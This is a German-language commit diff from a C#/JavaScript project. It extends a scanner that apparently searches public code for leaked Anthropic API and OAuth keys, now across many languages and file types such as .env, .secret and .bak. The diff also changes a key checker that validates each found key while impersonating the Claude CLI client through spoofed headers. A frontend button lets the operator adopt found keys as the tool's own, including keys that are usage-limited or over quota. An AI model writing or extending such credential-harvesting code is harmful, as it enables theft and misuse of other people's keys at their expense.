Key-Scanner: Auth-Header fix, 401-mit-Usage-Handling, breitere Suche, Live-Refresh
- AnthropicKeyChecker: Bearer-Auth + CLI-Header statt x-api-key (identisch mit AnthropicService) - 401 mit Usage-Headern → 'usage_limited' statt 'invalid' (Key gültig, Limit erreicht) - Haiku-Phase entfernt, Streaming-Logik entfernt → ein einfacher Request reicht - KeyScannerService: SearchLanguages 1→13, PathExtensions 24 neue Pfad-Filter - ApiKeysEndpoint: usage_limited als 'ok' ans Frontend - Frontend: Adopt-Button auch bei quota_exceeded, Live-Refresh alle 3s während Scan - CSS: Overflow-Ellipsis für lange URLs in Admin-Listen
This commit is contained in:
1 parent
006ef223bf
commit
608118a823
5 files changed
+54
-14
No files matched your search
@@ -211,7 +211,7 @@ public static class ApiKeysEndpoint
|
|||||||
|
|
||||||
await ctx.Response.WriteAsJsonAsync(new
|
await ctx.Response.WriteAsJsonAsync(new
|
||||||
{
|
{
|
||||||
status = result.Status == "ok" ? "ok" : "error",
|
status = (result.Status == "ok" || result.Status == "usage_limited") ? "ok" : "error",
|
||||||
message = result.Message,
|
message = result.Message,
|
||||||
keyType = result.Plan,
|
keyType = result.Plan,
|
||||||
result.IsSubscription,
|
result.IsSubscription,
|
||||||
|
|||||||
@@ -25,6 +25,8 @@ namespace Gott.Services
|
|||||||
|
|
||||||
public static class AnthropicKeyChecker
|
public static class AnthropicKeyChecker
|
||||||
{
|
{
|
||||||
|
private const string CheckModel = "claude-sonnet-4-20250514";
|
||||||
|
|
||||||
public static async Task<KeyCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
|
public static async Task<KeyCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
@@ -34,30 +36,45 @@ namespace Gott.Services
|
|||||||
|
|
||||||
var payload = JsonSerializer.Serialize(new
|
var payload = JsonSerializer.Serialize(new
|
||||||
{
|
{
|
||||||
model = "claude-sonnet-4-20250514",
|
model = CheckModel,
|
||||||
max_tokens = 1,
|
max_tokens = 1,
|
||||||
messages = new[] { new { role = "user", content = "hi" } }
|
messages = new[] { new { role = "user", content = "hi" } }
|
||||||
});
|
});
|
||||||
|
|
||||||
var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
|
var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
|
||||||
request.Headers.Add("x-api-key", apiKey);
|
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
|
||||||
request.Headers.Add("anthropic-version", "2023-06-01");
|
request.Headers.Add("anthropic-version", "2023-06-01");
|
||||||
|
request.Headers.Add("anthropic-beta", "claude-code-20250219,oauth-2025-04-20");
|
||||||
|
request.Headers.Add("User-Agent", "claude-cli/2.1.2 (external, cli)");
|
||||||
|
request.Headers.Add("x-app", "cli");
|
||||||
|
request.Headers.Add("anthropic-dangerous-direct-browser-access", "true");
|
||||||
request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
|
request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
|
||||||
|
|
||||||
var resp = await client.SendAsync(request);
|
var resp = await client.SendAsync(request);
|
||||||
var statusCode = (int)resp.StatusCode;
|
var statusCode = (int)resp.StatusCode;
|
||||||
|
var headers = resp.Headers;
|
||||||
|
|
||||||
if (statusCode == 401)
|
if (statusCode == 401)
|
||||||
|
{
|
||||||
|
var has7d = GetHeader(headers, "anthropic-ratelimit-unified-7d-utilization", "unified-7d-utilization");
|
||||||
|
var has5h = GetHeader(headers, "anthropic-ratelimit-unified-5h-utilization", "unified-5h-utilization");
|
||||||
|
if (has7d == null && has5h == null)
|
||||||
return new KeyCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)", Plan = "Unknown" };
|
return new KeyCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)", Plan = "Unknown" };
|
||||||
if (statusCode == 429)
|
}
|
||||||
|
else if (statusCode == 429)
|
||||||
|
{
|
||||||
return new KeyCheckResult { Status = "rate_limited", Message = "Rate Limited (429)", Plan = "Unknown" };
|
return new KeyCheckResult { Status = "rate_limited", Message = "Rate Limited (429)", Plan = "Unknown" };
|
||||||
if (statusCode == 403)
|
}
|
||||||
|
else if (statusCode == 403)
|
||||||
|
{
|
||||||
return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" };
|
return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" };
|
||||||
if (statusCode >= 400)
|
}
|
||||||
|
else if (statusCode >= 400)
|
||||||
|
{
|
||||||
return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" };
|
return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" };
|
||||||
|
}
|
||||||
|
|
||||||
// Key gültig – Header auslesen
|
// Header auslesen
|
||||||
var headers = resp.Headers;
|
|
||||||
var d7Util = GetHeader(headers, "anthropic-ratelimit-unified-7d-utilization", "unified-7d-utilization");
|
var d7Util = GetHeader(headers, "anthropic-ratelimit-unified-7d-utilization", "unified-7d-utilization");
|
||||||
var d5hUtil = GetHeader(headers, "anthropic-ratelimit-unified-5h-utilization", "unified-5h-utilization");
|
var d5hUtil = GetHeader(headers, "anthropic-ratelimit-unified-5h-utilization", "unified-5h-utilization");
|
||||||
var overageUtil = GetHeader(headers, "anthropic-ratelimit-unified-overage-utilization", "unified-overage-utilization");
|
var overageUtil = GetHeader(headers, "anthropic-ratelimit-unified-overage-utilization", "unified-overage-utilization");
|
||||||
@@ -81,7 +98,8 @@ namespace Gott.Services
|
|||||||
|
|
||||||
var result = new KeyCheckResult
|
var result = new KeyCheckResult
|
||||||
{
|
{
|
||||||
Status = "ok",
|
Status = statusCode == 401 ? "usage_limited" : "ok",
|
||||||
|
Message = statusCode == 401 ? "Gültig, aber Usage-Limit erreicht (401)" : null,
|
||||||
Plan = plan,
|
Plan = plan,
|
||||||
IsSubscription = isSubscription,
|
IsSubscription = isSubscription,
|
||||||
Status7d = d7Status,
|
Status7d = d7Status,
|
||||||
|
|||||||
@@ -40,7 +40,20 @@ public class KeyScannerService : BackgroundService
|
|||||||
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"),
|
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"),
|
||||||
};
|
};
|
||||||
|
|
||||||
private static readonly string[] SearchLanguages = { "Dotenv" };
|
private static readonly string[] SearchLanguages =
|
||||||
|
{
|
||||||
|
"Dotenv", "Text", "JavaScript", "Python", "TypeScript",
|
||||||
|
"Dockerfile", "Markdown", "Jupyter Notebook", "Shell",
|
||||||
|
"Java", "Go", "C++", "PHP"
|
||||||
|
};
|
||||||
|
|
||||||
|
private static readonly string[] PathExtensions =
|
||||||
|
{
|
||||||
|
".env", ".envrc", ".prod", ".secret", ".private", ".key",
|
||||||
|
".xml", ".json", ".properties", ".sql", ".txt", ".log",
|
||||||
|
".yml", ".yaml", ".toml", ".ini", ".config", ".conf", ".cfg",
|
||||||
|
".tmp", ".backup", ".bak", ".enc",
|
||||||
|
};
|
||||||
|
|
||||||
private const int RateLimitDelayMs = 6_500;
|
private const int RateLimitDelayMs = 6_500;
|
||||||
private const int MaxResultsPerSearch = 1000;
|
private const int MaxResultsPerSearch = 1000;
|
||||||
@@ -348,6 +361,11 @@ public class KeyScannerService : BackgroundService
|
|||||||
var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}";
|
var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}";
|
||||||
queries.Add(($"{searchTerm} {langFilter}", regex));
|
queries.Add(($"{searchTerm} {langFilter}", regex));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
foreach (var pathExt in PathExtensions)
|
||||||
|
{
|
||||||
|
queries.Add(($"{searchTerm} path:{pathExt}", regex));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return queries;
|
return queries;
|
||||||
}
|
}
|
||||||
@@ -359,7 +377,8 @@ public class KeyScannerService : BackgroundService
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, result.Status == "ok" ? "valid" : result.Status, result.Plan, result.Usage7d, result.Usage5h);
|
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
||||||
|
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -584,10 +584,13 @@ label.skill-item {
|
|||||||
.admin-user-info {
|
.admin-user-info {
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
|
overflow: hidden;
|
||||||
}
|
}
|
||||||
|
|
||||||
.admin-user-name {
|
.admin-user-name {
|
||||||
font-weight: bold;
|
font-weight: bold;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
}
|
}
|
||||||
|
|
||||||
.admin-user-meta {
|
.admin-user-meta {
|
||||||
|
|||||||
@@ -332,8 +332,8 @@ registerPage('api-keys', {
|
|||||||
});
|
});
|
||||||
actions.appendChild(recheckBtn);
|
actions.appendChild(recheckBtn);
|
||||||
|
|
||||||
// Übernehmen (nur bei valid)
|
// Übernehmen (bei valid oder quota_exceeded)
|
||||||
if (sk.status === 'valid') {
|
if (sk.status === 'valid' || sk.status === 'quota_exceeded') {
|
||||||
var adoptBtn = document.createElement('button');
|
var adoptBtn = document.createElement('button');
|
||||||
adoptBtn.className = 'icon-btn';
|
adoptBtn.className = 'icon-btn';
|
||||||
adoptBtn.title = 'Als API-Key übernehmen';
|
adoptBtn.title = 'Als API-Key übernehmen';
|
||||||
@@ -387,13 +387,13 @@ registerPage('api-keys', {
|
|||||||
if (!pollTimer) {
|
if (!pollTimer) {
|
||||||
pollTimer = setInterval(async function() {
|
pollTimer = setInterval(async function() {
|
||||||
var st = await apiScanStatus();
|
var st = await apiScanStatus();
|
||||||
|
await loadScannedKeys();
|
||||||
if (!st.running) {
|
if (!st.running) {
|
||||||
clearInterval(pollTimer);
|
clearInterval(pollTimer);
|
||||||
pollTimer = null;
|
pollTimer = null;
|
||||||
scanBtn.disabled = false;
|
scanBtn.disabled = false;
|
||||||
scanBtn.innerHTML = '<i class="fa fa-search"></i> Jetzt scannen';
|
scanBtn.innerHTML = '<i class="fa fa-search"></i> Jetzt scannen';
|
||||||
scanStatusEl.textContent = st.lastResult ? '✅ ' + st.lastResult : '';
|
scanStatusEl.textContent = st.lastResult ? '✅ ' + st.lastResult : '';
|
||||||
await loadScannedKeys();
|
|
||||||
}
|
}
|
||||||
}, 3000);
|
}, 3000);
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in new issue
Block a user